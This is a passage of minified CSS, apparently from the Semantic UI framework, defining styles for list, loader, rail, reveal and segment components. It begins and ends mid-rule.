.ui.list>.item:last-child{padding-bottom:0}.ui.horizontal.list{display:inline-block;font-size:0}.ui.horizontal.list>.item{display:inline-block;margin-left:1em;font-size:1rem}.ui.horizontal.list:not(.celled)>.item:first-child{margin-left:0!important;padding-left:0!important}.ui.horizontal.list .list{padding-left:0;padding-bottom:0}.ui.horizontal.list .list>.item>.content,.ui.horizontal.list .list>.item>.icon,.ui.horizontal.list .list>.item>.image,.ui.horizontal.list>.item>.content,.ui.horizontal.list>.item>.icon,.ui.horizontal.list>.item>.image{vertical-align:middle}.ui.horizontal.list>.item:first-child,.ui.horizontal.list>.item:last-child{padding-top:.21428571em;padding-bottom:.21428571em}.ui.horizontal.list>.item>i.icon{margin:0;padding:0 .25em 0 0}.ui.horizontal.list>.item>.icon,.ui.horizontal.list>.item>.icon+.content{float:none;display:inline-block}.ui.list .list>.disabled.item,.ui.list>.disabled.item{pointer-events:none;color:rgba(40,40,40,.3)!important}.ui.inverted.list .list>.disabled.item,.ui.inverted.list>.disabled.item{color:rgba(225,225,225,.3)!important}.ui.list .list>a.item:hover .icon,.ui.list>a.item:hover .icon{color:rgba(0,0,0,.87)}.ui.inverted.list .list>a.item>.icon,.ui.inverted.list>a.item>.icon{color:rgba(255,255,255,.7)}.ui.inverted.list .list>.item .header,.ui.inverted.list>.item .header{color:rgba(255,255,255,.9)}.ui.inverted.list .list>.item .description,.ui.inverted.list>.item .description{color:rgba(255,255,255,.7)}.ui.inverted.list .list>a.item,.ui.inverted.list>a.item{cursor:pointer;color:rgba(255,255,255,.9)}.ui.inverted.list .list>a.item:hover,.ui.inverted.list>a.item:hover{color:#1e70bf}.ui.inverted.list .item a:not(.ui){color:rgba(255,255,255,.9)!important}.ui.inverted.list .item a:not(.ui):hover{color:#1e70bf!important}.ui.list [class*="top aligned"],.ui.list[class*="top aligned"] .content,.ui.list[class*="top aligned"] .image{vertical-align:top!important}.ui.list [class*="middle aligned"],.ui.list[class*="middle aligned"] .content,.ui.list[class*="middle aligned"] .image{vertical-align:middle!important}.ui.list [class*="bottom aligned"],.ui.list[class*="bottom aligned"] .content,.ui.list[class*="bottom aligned"] .image{vertical-align:bottom!important}.ui.link.list .item,.ui.link.list .item a:not(.ui),.ui.link.list a.item{color:rgba(0,0,0,.4);-webkit-transition:.1s color ease;transition:.1s color ease}.ui.link.list .item a:not(.ui):hover,.ui.link.list a.item:hover{color:rgba(0,0,0,.8)}.ui.link.list .item a:not(.ui):active,.ui.link.list a.item:active{color:rgba(0,0,0,.9)}.ui.link.list .active.item,.ui.link.list .active.item a:not(.ui){color:rgba(0,0,0,.95)}.ui.inverted.link.list .item,.ui.inverted.link.list .item a:not(.ui),.ui.inverted.link.list a.item{color:rgba(255,255,255,.5)}.ui.inverted.link.list .active.item a:not(.ui),.ui.inverted.link.list .item a:not(.ui):active,.ui.inverted.link.list .item a:not(.ui):hover,.ui.inverted.link.list a.active.item,.ui.inverted.link.list a.item:active,.ui.inverted.link.list a.item:hover{color:#fff}.ui.selection.list .list>.item,.ui.selection.list>.item{cursor:pointer;background:0 0;padding:.5em;margin:0;color:rgba(0,0,0,.4);border-radius:.5em;-webkit-transition:.1s color ease,.1s padding-left ease,.1s background-color ease;transition:.1s color ease,.1s padding-left ease,.1s background-color ease}.ui.selection.list .list>.item:last-child,.ui.selection.list>.item:last-child{margin-bottom:0}.ui.selection.list.list>.item:hover,.ui.selection.list>.item:hover{background:rgba(0,0,0,.03);color:rgba(0,0,0,.8)}.ui.selection.list .list>.item:active,.ui.selection.list>.item:active{background:rgba(0,0,0,.05);color:rgba(0,0,0,.9)}.ui.selection.list .list>.item.active,.ui.selection.list>.item.active{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.inverted.selection.list>.item{background:0 0;color:rgba(255,255,255,.5)}.ui.inverted.selection.list>.item:hover{background:rgba(255,255,255,.02);color:#fff}.ui.inverted.selection.list>.item.active,.ui.inverted.selection.list>.item:active{background:rgba(255,255,255,.08);color:#fff}.ui.celled.selection.list .list>.item,.ui.celled.selection.list>.item,.ui.divided.selection.list .list>.item,.ui.divided.selection.list>.item{border-radius:0}.ui.animated.list>.item{-webkit-transition:.25s color ease .1s,.25s padding-left ease .1s,.25s background-color ease .1s;transition:.25s color ease .1s,.25s padding-left ease .1s,.25s background-color ease .1s}.ui.animated.list:not(.horizontal)>.item:hover{padding-left:1em}.ui.fitted.list:not(.selection) .list>.item,.ui.fitted.list:not(.selection)>.item{padding-left:0;padding-right:0}.ui.fitted.selection.list .list>.item,.ui.fitted.selection.list>.item{margin-left:-.5em;margin-right:-.5em}.ui.bulleted.list,ul.ui.list{margin-left:1.25rem}.ui.bulleted.list .list>.item,.ui.bulleted.list>.item,ul.ui.list li{position:relative}.ui.bulleted.list .list>.item:before,.ui.bulleted.list>.item:before,ul.ui.list li:before{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;pointer-events:none;position:absolute;top:auto;left:auto;font-weight:400;margin-left:-1.25rem;content:'•';opacity:1;color:inherit;vertical-align:top}.ui.bulleted.list .list>a.item:before,.ui.bulleted.list>a.item:before,ul.ui.list li:before{color:rgba(0,0,0,.87)}.ui.bulleted.list .list,ul.ui.list ul{padding-left:1.25rem}.ui.horizontal.bulleted.list,ul.ui.horizontal.bulleted.list{margin-left:0}.ui.horizontal.bulleted.list>.item,ul.ui.horizontal.bulleted.list li{margin-left:1.75rem}.ui.horizontal.bulleted.list>.item:first-child,ul.ui.horizontal.bulleted.list li:first-child{margin-left:0}.ui.horizontal.bulleted.list>.item::before,ul.ui.horizontal.bulleted.list li::before{color:rgba(0,0,0,.87)}.ui.horizontal.bulleted.list>.item:first-child::before,ul.ui.horizontal.bulleted.list li:first-child::before{display:none}.ui.ordered.list,.ui.ordered.list .list,ol.ui.list,ol.ui.list ol{counter-reset:ordered;margin-left:1.25rem;list-style-type:none}.ui.ordered.list .list>.item,.ui.ordered.list>.item,ol.ui.list li{list-style-type:none;position:relative}.ui.ordered.list .list>.item:before,.ui.ordered.list>.item:before,ol.ui.list li:before{position:absolute;top:auto;left:auto;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;pointer-events:none;margin-left:-1.25rem;counter-increment:ordered;content:counters(ordered,".") " ";text-align:right;color:rgba(0,0,0,.87);vertical-align:middle;opacity:.8}.ui.ordered.inverted.list .list>.item:before,.ui.ordered.inverted.list>.item:before,ol.ui.inverted.list li:before{color:rgba(255,255,255,.7)}.ui.ordered.list>.item[data-value],.ui.ordered.list>.list>.item[data-value]{content:attr(data-value)}ol.ui.list li[value]:before{content:attr(value)}.ui.ordered.list .list,ol.ui.list ol{margin-left:1em}.ui.ordered.list .list>.item:before,ol.ui.list ol li:before{margin-left:-2em}.ui.ordered.horizontal.list,ol.ui.horizontal.list{margin-left:0}.ui.ordered.horizontal.list .list>.item:before,.ui.ordered.horizontal.list>.item:before,ol.ui.horizontal.list li:before{position:static;margin:0 .5em 0 0}.ui.divided.list>.item{border-top:1px solid rgba(34,36,38,.15)}.ui.divided.list .item .list>.item,.ui.divided.list .list>.item,.ui.divided.list .list>.item:first-child,.ui.divided.list>.item:first-child{border-top:none}.ui.divided.list:not(.horizontal) .list>.item:first-child{border-top-width:1px}.ui.divided.bulleted.list .list,.ui.divided.bulleted.list:not(.horizontal){margin-left:0;padding-left:0}.ui.divided.bulleted.list>.item:not(.horizontal){padding-left:1.25rem}.ui.divided.ordered.list{margin-left:0}.ui.divided.ordered.list .list>.item,.ui.divided.ordered.list>.item{padding-left:1.25rem}.ui.divided.ordered.list .item .list{margin-left:0;margin-right:0;padding-bottom:.21428571em}.ui.divided.ordered.list .item .list>.item{padding-left:1em}.ui.divided.selection.list .list>.item,.ui.divided.selection.list>.item{margin:0;border-radius:0}.ui.divided.horizontal.list{margin-left:0}.ui.divided.horizontal.list>.item:not(:first-child){padding-left:.5em}.ui.divided.horizontal.list>.item:not(:last-child){padding-right:.5em}.ui.divided.horizontal.list>.item{border-top:none;border-left:1px solid rgba(34,36,38,.15);margin:0;line-height:.6}.ui.horizontal.divided.list>.item:first-child{border-left:none}.ui.divided.inverted.horizontal.list>.item,.ui.divided.inverted.list>.item,.ui.divided.inverted.list>.list{border-color:rgba(255,255,255,.1)}.ui.celled.list>.item,.ui.celled.list>.list{border-top:1px solid rgba(34,36,38,.15);padding-left:.5em;padding-right:.5em}.ui.celled.list>.item:last-child{border-bottom:1px solid rgba(34,36,38,.15)}.ui.celled.list>.item:first-child,.ui.celled.list>.item:last-child{padding-top:.21428571em;padding-bottom:.21428571em}.ui.celled.list .item .list>.item{border-width:0}.ui.celled.list .list>.item:first-child{border-top-width:0}.ui.celled.bulleted.list{margin-left:0}.ui.celled.bulleted.list .list>.item,.ui.celled.bulleted.list>.item{padding-left:1.25rem}.ui.celled.bulleted.list .item .list{margin-left:-1.25rem;margin-right:-1.25rem;padding-bottom:.21428571em}.ui.celled.ordered.list{margin-left:0}.ui.celled.ordered.list .list>.item,.ui.celled.ordered.list>.item{padding-left:1.25rem}.ui.celled.ordered.list .item .list{margin-left:0;margin-right:0;padding-bottom:.21428571em}.ui.celled.ordered.list .list>.item{padding-left:1em}.ui.horizontal.celled.list{margin-left:0}.ui.horizontal.celled.list .list>.item,.ui.horizontal.celled.list>.item{border-top:none;border-left:1px solid rgba(34,36,38,.15);margin:0;padding-left:.5em;padding-right:.5em;line-height:.6}.ui.horizontal.celled.list .list>.item:last-child,.ui.horizontal.celled.list>.item:last-child{border-bottom:none;border-right:1px solid rgba(34,36,38,.15)}.ui.celled.inverted.horizontal.list .list>.item,.ui.celled.inverted.horizontal.list>.item,.ui.celled.inverted.list>.item,.ui.celled.inverted.list>.list{border-color:1px solid rgba(255,255,255,.1)}.ui.relaxed.list:not(.horizontal)>.item:not(:first-child){padding-top:.42857143em}.ui.relaxed.list:not(.horizontal)>.item:not(:last-child){padding-bottom:.42857143em}.ui.horizontal.relaxed.list .list>.item:not(:first-child),.ui.horizontal.relaxed.list>.item:not(:first-child){padding-left:1rem}.ui.horizontal.relaxed.list .list>.item:not(:last-child),.ui.horizontal.relaxed.list>.item:not(:last-child){padding-right:1rem}.ui[class*="very relaxed"].list:not(.horizontal)>.item:not(:first-child){padding-top:.85714286em}.ui[class*="very relaxed"].list:not(.horizontal)>.item:not(:last-child){padding-bottom:.85714286em}.ui.horizontal[class*="very relaxed"].list .list>.item:not(:first-child),.ui.horizontal[class*="very relaxed"].list>.item:not(:first-child){padding-left:1.5rem}.ui.horizontal[class*="very relaxed"].list .list>.item:not(:last-child),.ui.horizontal[class*="very relaxed"].list>.item:not(:last-child){padding-right:1.5rem}.ui.mini.list{font-size:.78571429em}.ui.tiny.list{font-size:.85714286em}.ui.small.list{font-size:.92857143em}.ui.list{font-size:1em}.ui.large.list{font-size:1.14285714em}.ui.big.list{font-size:1.28571429em}.ui.huge.list{font-size:1.42857143em}.ui.massive.list{font-size:1.71428571em}.ui.mini.horizontal.list .list>.item,.ui.mini.horizontal.list>.item{font-size:.78571429rem}.ui.tiny.horizontal.list .list>.item,.ui.tiny.horizontal.list>.item{font-size:.85714286rem}.ui.small.horizontal.list .list>.item,.ui.small.horizontal.list>.item{font-size:.92857143rem}.ui.horizontal.list .list>.item,.ui.horizontal.list>.item{font-size:1rem}.ui.large.horizontal.list .list>.item,.ui.large.horizontal.list>.item{font-size:1.14285714rem}.ui.big.horizontal.list .list>.item,.ui.big.horizontal.list>.item{font-size:1.28571429rem}.ui.huge.horizontal.list .list>.item,.ui.huge.horizontal.list>.item{font-size:1.42857143rem}.ui.massive.horizontal.list .list>.item,.ui.massive.horizontal.list>.item{font-size:1.71428571rem}.ui.loader{display:none;position:absolute;top:50%;left:50%;margin:0;text-align:center;z-index:1000;-webkit-transform:translateX(-50%) translateY(-50%);-ms-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.ui.loader:before{position:absolute;content:'';top:0;left:50%;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loader:after{position:absolute;content:'';top:0;left:50%;-webkit-animation:loader .6s linear;animation:loader .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent}@-webkit-keyframes loader{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes loader{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.mini.loader:after,.ui.mini.loader:before{width:1rem;height:1rem;margin:0 0 0 -.5rem}.ui.tiny.loader:after,.ui.tiny.loader:before{width:1.14285714rem;height:1.14285714rem;margin:0 0 0 -.57142857rem}.ui.small.loader:after,.ui.small.loader:before{width:1.71428571rem;height:1.71428571rem;margin:0 0 0 -.85714286rem}.ui.loader:after,.ui.loader:before{width:2.28571429rem;height:2.28571429rem;margin:0 0 0 -1.14285714rem}.ui.large.loader:after,.ui.large.loader:before{width:3.42857143rem;height:3.42857143rem;margin:0 0 0 -1.71428571rem}.ui.big.loader:after,.ui.big.loader:before{width:3.71428571rem;height:3.71428571rem;margin:0 0 0 -1.85714286rem}.ui.huge.loader:after,.ui.huge.loader:before{width:4.14285714rem;height:4.14285714rem;margin:0 0 0 -2.07142857rem}.ui.massive.loader:after,.ui.massive.loader:before{width:4.57142857rem;height:4.57142857rem;margin:0 0 0 -2.28571429rem}.ui.dimmer .loader{display:block}.ui.dimmer .ui.loader{color:rgba(255,255,255,.9)}.ui.dimmer .ui.loader:before{border-color:rgba(255,255,255,.15)}.ui.dimmer .ui.loader:after{border-color:#FFF transparent transparent}.ui.inverted.dimmer .ui.loader{color:rgba(0,0,0,.87)}.ui.inverted.dimmer .ui.loader:before{border-color:rgba(0,0,0,.1)}.ui.inverted.dimmer .ui.loader:after{border-color:#767676 transparent transparent}.ui.text.loader{width:auto!important;height:auto!important;text-align:center;font-style:normal}.ui.indeterminate.loader:after{-webkit-animation-direction:reverse;animation-direction:reverse;-webkit-animation-duration:1.2s;animation-duration:1.2s}.ui.loader.active,.ui.loader.visible{display:block}.ui.loader.disabled,.ui.loader.hidden{display:none}.ui.inverted.dimmer .ui.mini.loader,.ui.mini.loader{width:1rem;height:1rem;font-size:.78571429em}.ui.inverted.dimmer .ui.tiny.loader,.ui.tiny.loader{width:1.14285714rem;height:1.14285714rem;font-size:.85714286em}.ui.inverted.dimmer .ui.small.loader,.ui.small.loader{width:1.71428571rem;height:1.71428571rem;font-size:.92857143em}.ui.inverted.dimmer .ui.loader,.ui.loader{width:2.28571429rem;height:2.28571429rem;font-size:1em}.ui.inverted.dimmer .ui.large.loader,.ui.large.loader{width:3.42857143rem;height:3.42857143rem;font-size:1.14285714em}.ui.big.loader,.ui.inverted.dimmer .ui.big.loader{width:3.71428571rem;height:3.71428571rem;font-size:1.28571429em}.ui.huge.loader,.ui.inverted.dimmer .ui.huge.loader{width:4.14285714rem;height:4.14285714rem;font-size:1.42857143em}.ui.inverted.dimmer .ui.massive.loader,.ui.massive.loader{width:4.57142857rem;height:4.57142857rem;font-size:1.71428571em}.ui.mini.text.loader{min-width:1rem;padding-top:1.78571429rem}.ui.tiny.text.loader{min-width:1.14285714rem;padding-top:1.92857143rem}.ui.small.text.loader{min-width:1.71428571rem;padding-top:2.5rem}.ui.text.loader{min-width:2.28571429rem;padding-top:3.07142857rem}.ui.large.text.loader{min-width:3.42857143rem;padding-top:4.21428571rem}.ui.big.text.loader{min-width:3.71428571rem;padding-top:4.5rem}.ui.huge.text.loader{min-width:4.14285714rem;padding-top:4.92857143rem}.ui.massive.text.loader{min-width:4.57142857rem;padding-top:5.35714286rem}.ui.inverted.loader{color:rgba(255,255,255,.9)}.ui.inverted.loader:before{border-color:rgba(255,255,255,.15)}.ui.inverted.loader:after{border-top-color:#FFF}.ui.inline.loader{position:relative;vertical-align:middle;margin:0;left:0;top:0;-webkit-transform:none;-ms-transform:none;transform:none}.ui.inline.loader.active,.ui.inline.loader.visible{display:inline-block}.ui.centered.inline.loader.active,.ui.centered.inline.loader.visible{display:block;margin-left:auto;margin-right:auto}.ui.rail{position:absolute;top:0;width:300px;height:100%}.ui.left.rail{left:auto;right:100%;padding:0 2rem 0 0;margin:0 2rem 0 0}.ui.right.rail{left:100%;right:auto;padding:0 0 0 2rem;margin:0 0 0 2rem}.ui.left.internal.rail{left:0;right:auto;padding:0 0 0 2rem;margin:0 0 0 2rem}.ui.right.internal.rail{left:auto;right:0;padding:0 2rem 0 0;margin:0 2rem 0 0}.ui.dividing.rail{width:302.5px}.ui.left.dividing.rail{padding:0 2.5rem 0 0;margin:0 2.5rem 0 0;border-right:1px solid rgba(34,36,38,.15)}.ui.right.dividing.rail{border-left:1px solid rgba(34,36,38,.15);padding:0 0 0 2.5rem;margin:0 0 0 2.5rem}.ui.close.rail{width:calc(300px + 1em)}.ui.close.left.rail{padding:0 1em 0 0;margin:0 1em 0 0}.ui.close.right.rail{padding:0 0 0 1em;margin:0 0 0 1em}.ui.very.close.rail{width:calc(300px + .5em)}.ui.very.close.left.rail{padding:0 .5em 0 0;margin:0 .5em 0 0}.ui.very.close.right.rail{padding:0 0 0 .5em;margin:0 0 0 .5em}.ui.attached.left.rail,.ui.attached.right.rail{padding:0;margin:0}.ui.mini.rail{font-size:.78571429rem}.ui.tiny.rail{font-size:.85714286rem}.ui.small.rail{font-size:.92857143rem}.ui.rail{font-size:1rem}.ui.large.rail{font-size:1.14285714rem}.ui.big.rail{font-size:1.28571429rem}.ui.huge.rail{font-size:1.42857143rem}.ui.massive.rail{font-size:1.71428571rem}.ui.reveal{display:inherit;position:relative!important;font-size:0!important}.ui.reveal>.visible.content{position:absolute!important;top:0!important;left:0!important;z-index:3!important;-webkit-transition:all .5s ease .1s;transition:all .5s ease .1s}.ui.reveal>.hidden.content{position:relative!important;z-index:2!important}.ui.active.reveal .visible.content,.ui.reveal:hover .visible.content{z-index:4!important}.ui.slide.reveal{position:relative!important;overflow:hidden!important;white-space:nowrap}.ui.slide.reveal>.content{display:block;width:100%;float:left;margin:0;-webkit-transition:-webkit-transform .5s ease .1s;transition:-webkit-transform .5s ease .1s;transition:transform .5s ease .1s;transition:transform .5s ease .1s,-webkit-transform .5s ease .1s}.ui.slide.reveal>.visible.content{position:relative!important}.ui.slide.reveal>.hidden.content{position:absolute!important;left:0!important;width:100%!important;-webkit-transform:translateX(100%)!important;-ms-transform:translateX(100%)!important;transform:translateX(100%)!important}.ui.slide.active.reveal>.visible.content,.ui.slide.reveal:hover>.visible.content{-webkit-transform:translateX(-100%)!important;-ms-transform:translateX(-100%)!important;transform:translateX(-100%)!important}.ui.slide.active.reveal>.hidden.content,.ui.slide.reveal:hover>.hidden.content,.ui.slide.right.reveal>.visible.content{-webkit-transform:translateX(0)!important;-ms-transform:translateX(0)!important;transform:translateX(0)!important}.ui.slide.right.reveal>.hidden.content{-webkit-transform:translateX(-100%)!important;-ms-transform:translateX(-100%)!important;transform:translateX(-100%)!important}.ui.slide.right.active.reveal>.visible.content,.ui.slide.right.reveal:hover>.visible.content{-webkit-transform:translateX(100%)!important;-ms-transform:translateX(100%)!important;transform:translateX(100%)!important}.ui.slide.right.active.reveal>.hidden.content,.ui.slide.right.reveal:hover>.hidden.content{-webkit-transform:translateX(0)!important;-ms-transform:translateX(0)!important;transform:translateX(0)!important}.ui.slide.up.reveal>.hidden.content{-webkit-transform:translateY(100%)!important;-ms-transform:translateY(100%)!important;transform:translateY(100%)!important}.ui.slide.up.active.reveal>.visible.content,.ui.slide.up.reveal:hover>.visible.content{-webkit-transform:translateY(-100%)!important;-ms-transform:translateY(-100%)!important;transform:translateY(-100%)!important}.ui.slide.up.active.reveal>.hidden.content,.ui.slide.up.reveal:hover>.hidden.content{-webkit-transform:translateY(0)!important;-ms-transform:translateY(0)!important;transform:translateY(0)!important}.ui.slide.down.reveal>.hidden.content{-webkit-transform:translateY(-100%)!important;-ms-transform:translateY(-100%)!important;transform:translateY(-100%)!important}.ui.slide.down.active.reveal>.visible.content,.ui.slide.down.reveal:hover>.visible.content{-webkit-transform:translateY(100%)!important;-ms-transform:translateY(100%)!important;transform:translateY(100%)!important}.ui.slide.down.active.reveal>.hidden.content,.ui.slide.down.reveal:hover>.hidden.content{-webkit-transform:translateY(0)!important;-ms-transform:translateY(0)!important;transform:translateY(0)!important}.ui.fade.reveal>.visible.content{opacity:1}.ui.fade.active.reveal>.visible.content,.ui.fade.reveal:hover>.visible.content{opacity:0}.ui.move.reveal{position:relative!important;overflow:hidden!important;white-space:nowrap}.ui.move.reveal>.content{display:block;float:left;margin:0;-webkit-transition:-webkit-transform .5s cubic-bezier(.175,.885,.32,1) .1s;transition:-webkit-transform .5s cubic-bezier(.175,.885,.32,1) .1s;transition:transform .5s cubic-bezier(.175,.885,.32,1) .1s;transition:transform .5s cubic-bezier(.175,.885,.32,1) .1s,-webkit-transform .5s cubic-bezier(.175,.885,.32,1) .1s}.ui.move.reveal>.visible.content{position:relative!important}.ui.move.reveal>.hidden.content{position:absolute!important;left:0!important;width:100%!important}.ui.move.active.reveal>.visible.content,.ui.move.reveal:hover>.visible.content{-webkit-transform:translateX(-100%)!important;-ms-transform:translateX(-100%)!important;transform:translateX(-100%)!important}.ui.move.right.active.reveal>.visible.content,.ui.move.right.reveal:hover>.visible.content{-webkit-transform:translateX(100%)!important;-ms-transform:translateX(100%)!important;transform:translateX(100%)!important}.ui.move.up.active.reveal>.visible.content,.ui.move.up.reveal:hover>.visible.content{-webkit-transform:translateY(-100%)!important;-ms-transform:translateY(-100%)!important;transform:translateY(-100%)!important}.ui.move.down.active.reveal>.visible.content,.ui.move.down.reveal:hover>.visible.content{-webkit-transform:translateY(100%)!important;-ms-transform:translateY(100%)!important;transform:translateY(100%)!important}.ui.rotate.reveal>.visible.content{-webkit-transition-duration:.5s;transition-duration:.5s;-webkit-transform:rotate(0);-ms-transform:rotate(0);transform:rotate(0)}.ui.rotate.reveal>.visible.content,.ui.rotate.right.reveal>.visible.content{-webkit-transform-origin:bottom right;-ms-transform-origin:bottom right;transform-origin:bottom right}.ui.rotate.active.reveal>.visible.content,.ui.rotate.reveal:hover>.visible.content,.ui.rotate.right.active.reveal>.visible.content,.ui.rotate.right.reveal:hover>.visible.content{-webkit-transform:rotate(110deg);-ms-transform:rotate(110deg);transform:rotate(110deg)}.ui.rotate.left.reveal>.visible.content{-webkit-transform-origin:bottom left;-ms-transform-origin:bottom left;transform-origin:bottom left}.ui.rotate.left.active.reveal>.visible.content,.ui.rotate.left.reveal:hover>.visible.content{-webkit-transform:rotate(-110deg);-ms-transform:rotate(-110deg);transform:rotate(-110deg)}.ui.disabled.reveal:hover>.visible.visible.content{position:static!important;display:block!important;opacity:1!important;top:0!important;left:0!important;right:auto!important;bottom:auto!important;-webkit-transform:none!important;-ms-transform:none!important;transform:none!important}.ui.disabled.reveal:hover>.hidden.hidden.content{display:none!important}.ui.visible.reveal{overflow:visible}.ui.instant.reveal>.content{-webkit-transition-delay:0s!important;transition-delay:0s!important}.ui.reveal>.content{font-size:1rem!important}.ui.segment{position:relative;background:#FFF;box-shadow:0 1px 2px 0 rgba(34,36,38,.15);margin:1rem 0;padding:1em;border-radius:.28571429rem;border:1px solid rgba(34,36,38,.15)}.ui.segment:first-child{margin-top:0}.ui.segment:last-child{margin-bottom:0}.ui.vertical.segment{margin:0;padding-left:0;padding-right:0;background:none;border-radius:0;box-shadow:none;border:none;border-bottom:1px solid rgba(34,36,38,.15)}.ui.vertical.segment:last-child{border-bottom:none}.ui.inverted.segment>.ui.header{color:#FFF}.ui[class*="bottom attached"].segment>[class*="top attached"].label{border-top-left-radius:0;border-top-right-radius:0}.ui[class*="top attached"].segment>[class*="bottom attached"].label{border-bottom-left-radius:0;border-bottom-right-radius:0}.ui.attached.segment:not(.top):not(.bottom)>[class*="top attached"].label{border-top-left-radius:0;border-top-right-radius:0}.ui.attached.segment:not(.top):not(.bottom)>[class*="bottom attached"].label{border-bottom-left-radius:0;border-bottom-right-radius:0}.ui.grid>.row>.ui.segment.column,.ui.grid>.ui.segment.column,.ui.page.grid.segment{padding-top:2em;padding-bottom:2em}.ui.grid.segment{margin:1rem 0;border-radius:.28571429rem}.ui.basic.table.segment{background:#FFF;border:1px solid rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15)}.ui[class*="very basic"].table.segment{padding:1em}.ui.piled.segment,.ui.piled.segments{margin:3em 0;box-shadow:'';z-index:auto}.ui.piled.segment:first-child{margin-top:0}.ui.piled.segment:last-child{margin-bottom:0}.ui.piled.segment:after,.ui.piled.segment:before,.ui.piled.segments:after,.ui.piled.segments:before{background-color:#FFF;visibility:visible;content:'';display:block;height:100%;left:0;position:absolute;width:100%;border:1px solid rgba(34,36,38,.15);box-shadow:''}.ui.piled.segment:before,.ui.piled.segments:before{-webkit-transform:rotate(-1.2deg);-ms-transform:rotate(-1.2deg);transform:rotate(-1.2deg);top:0;z-index:-2}.ui.piled.segment:after,.ui.piled.segments:after{-webkit-transform:rotate(1.2deg);-ms-transform:rotate(1.2deg);transform:rotate(1.2deg);top:0;z-index:-1}.ui[class*="top attached"].piled.segment{margin-top:3em;margin-bottom:0}.ui.piled.segment[class*="top attached"]:first-child{margin-top:0}.ui.piled.segment[class*="bottom attached"]{margin-top:0;margin-bottom:3em}.ui.piled.segment[class*="bottom attached"]:last-child{margin-bottom:0}.ui.stacked.segment{padding-bottom:1.4em}.ui.stacked.segment:after,.ui.stacked.segment:before,.ui.stacked.segments:after,.ui.stacked.segments:before{content:'';position:absolute;bottom:-3px;left:0;border-top:1px solid rgba(34,36,38,.15);background:rgba(0,0,0,.03);width:100%;height:6px;visibility:visible}.ui.stacked.segment:before,.ui.stacked.segments:before{display:none}.ui.tall.stacked.segment:before,.ui.tall.stacked.segments:before{display:block;bottom:0}.ui.stacked.inverted.segment:after,.ui.stacked.inverted.segment:before,.ui.stacked.inverted.segments:after,.ui.stacked.inverted.segments:before{background-color:rgba(0,0,0,.03);border-top:1px solid rgba(34,36,38,.35)}.ui.padded.segment{padding:1.5em}.ui[class*="very padded"].segment{padding:3em}.ui.compact.segment{display:table}.ui.compact.segments{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}.ui.compact.segments .segment,.ui.segments .compact.segment{display:block;-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto}.ui.circular.segment{display:table-cell;padding:2em;text-align:center;vertical-align:middle;border-radius:500em}.ui.raised.segment,.ui.raised.segments{box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.segments{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;position:relative;margin:1rem 0;border:1px solid rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15);border-radius:.28571429rem}.ui.segments:first-child{margin-top:0}.ui.segments:last-child{margin-bottom:0}.ui.segments>.segment{top:0;bottom:0;border-radius:0;margin:0;width:auto;box-shadow:none;border:none;border-top:1px solid rgba(34,36,38,.15)}.ui.segments:not(.horizontal)>.segment:first-child{border-top:none;margin-top:0;bottom:0;margin-bottom:0;top:0;border-radius:.28571429rem .28571429rem 0 0}.ui.segments:not(.horizontal)>.segment:last-child{top:0;bottom:0;margin-top:0;margin-bottom:0;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),none;border-radius:0 0 .28571429rem .28571429rem}.ui.segments:not(.horizontal)>.segment:only-child{border-radius:.28571429rem}.ui.segments>.ui.segments{border-top:1px solid rgba(34,36,38,.15);margin:1rem}.ui.segments>.segments:first-child{border-top:none}.ui.segments>.segment+.segments:not(.horizontal){margin-top:0}.ui.horizontal.segments{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;padding:0;background-color:#FFF;box-shadow:0 1px 2px 0 rgba(34,36,38,.15);margin:1rem 0;border-radius:.28571429rem;border:1px solid rgba(34,36,38,.15)}.ui.segments>.horizontal.segments{margin:0;background-color:transparent;border-radius:0;border:none;box-shadow:none;border-top:1px solid rgba(34,36,38,.15)}.ui.horizontal.segments>.segment{-webkit-box-flex:1;-webkit-flex:1 1 auto;flex:1 1 auto;-ms-flex:1 1 0px;margin:0;min-width:0;background-color:transparent;border-radius:0;border:none;box-shadow:none;border-left:1px solid rgba(34,36,38,.15)}.ui.segments>.horizontal.segments:first-child{border-top:none}.ui.horizontal.segments>.segment:first-child{border-left:none}.ui.disabled.segment{opacity:.45;color:rgba(40,40,40,.3)}.ui.loading.segment{position:relative;cursor:default;pointer-events:none;text-shadow:none!important;color:transparent!important;-webkit-transition:all 0s linear;transition:all 0s linear}.ui.loading.segment:before{position:absolute;content:'';top:0;left:0;background:rgba(255,255,255,.8);width:100%;height:100%;border-radius:.28571429rem;z-index:100}.ui.loading.segment:after{position:absolute;content:'';top:50%;left:50%;margin:-1.5em 0 0 -1.5em;width:3em;height:3em;-webkit-animation:segment-spin .6s linear;animation:segment-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 rgba(0,0,0,.1) rgba(0,0,0,.1);border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent;visibility:visible;z-index:101}@-webkit-keyframes segment-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes 